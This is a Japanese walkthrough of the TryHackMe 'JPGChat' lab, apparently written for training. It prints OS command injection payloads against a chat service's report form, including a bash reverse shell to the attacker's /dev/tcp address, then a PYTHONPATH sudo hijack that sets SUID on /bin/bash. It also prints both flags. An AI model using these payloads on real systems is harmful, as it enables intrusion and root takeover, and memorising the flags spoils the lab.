概要
TryHackMe「JPGChat」のWalkthroughです。
Task1
Q1.Establish a foothold and get user.txt
Hint.Can you get the applications source code, this can be found at the admins github. Where could we be able to find the admins name? Check out the whole application.
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.190.40 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
| 256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_ 256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, NULL:
| Welcome to JPChat
| source code of this service can be found at our admin's github
| MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_ REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
3000 |
Netcatで3000
番ポートにアクセスします。
$ nc 10.10.190.40 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[MESSAGE]
を送信することでメッセージを、[REPORT]
を送信することでレポートを送信できるようです。
また、レポート機能からMozzie-jpg
という名前を得られました。
[MESSAGE]
There are currently 0 other users logged in
[MESSAGE]: hello
[REPORT]
this report will be read by Mozzie-jpg
your name:
a
your report:
a
Googleで名前を検索するとこのアプリケーションのGithubレポジトリを発見しました。
ソースコードを見ます。
レポート機能で使用しているos.system()
からOSコマンドインジェクションが出来そうです。
def report_form():
print ('this report will be read by Mozzie-jpg')
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
&
でコマンドをつなげてpingの送信に成功しました。
[REPORT]
this report will be read by Mozzie-jpg
your name:
1&ping -c 1 10.6.55.144
your report:
"a"&ping -c 1 10.6.55.144
1
a
$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:05:29.141092 IP 10.10.190.40 > 10.6.55.144: ICMP echo request, id 1583, seq 1, length 64
09:05:29.141100 IP 10.6.55.144 > 10.10.190.40: ICMP echo reply, id 1583, seq 1, length 64
09:05:29.384347 IP 10.10.190.40 > 10.6.55.144: ICMP echo request, id 1587, seq 1, length 64
09:05:29.384355 IP 10.6.55.144 > 10.10.190.40: ICMP echo reply, id 1587, seq 1, length 64
リバースシェルを張ります。
ペイロードを送信しシェルを取得できました。
[REPORT]
this report will be read by Mozzie-jpg
your name:
1&bash -i >& /dev/tcp/10.6.55.144/12345 0>&1;
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.190.40] 58250
bash: cannot set terminal process group (1767): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ whoami
whoami
wes
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home/wes/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}
A.JPC{487030410a543503cbb59ece16178318}
Q2.Escalate your privileges to root and read root.txt
Hint.In the sudo -l output, you can see that PYTHONPATH variable will be kept. Can you exploit this? Google around
sudo -l
を確認すると、SETENV
が設定されており/opt/development/test_module.py
が実行できると分かりました。
$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
mail_badpass, env_keep+=PYTHONPATH
User wes may run the following commands on ubuntu-xenial:
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
/opt/development/test_module.py
の処理を確認するとcompare
モジュールを読み込んでプログラムを実行しています。
#!/usr/bin/env python3
from compare import *
print(compare.Str('hello', 'hello', 'hello'))
このことからSETENV
でPYTHONPATH
を変更し悪意あるcompare.py
モジュールを読み込ませて実行する事が出来そうです。
/tmp
にcompare.py
を作成します。
$ echo "import os;os.system('chmod u+s /bin/bash')" > compare.py
PYTHONPATH=/tmp
を指定し、/tmp/compare.py
を読み込ませるようにして/opt/development/test_module.py
を実行します。
$ sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/development/test_module.py
/bin/bash
を確認するとSUIDが設定されています。
$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1037528 Jul 12 2019 /bin/bash
-p
オプションでrootに昇格出来ました。
$ /bin/bash -p
/bin/bash -p
bash-4.3# whoami
whoami
root
/root/root.txt
からルートフラグを入手できました。
bash-4.3# cat /root/root.txt
cat /root/root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}
A.JPC{665b7f2e59cf44763e5a7f070b081b0a}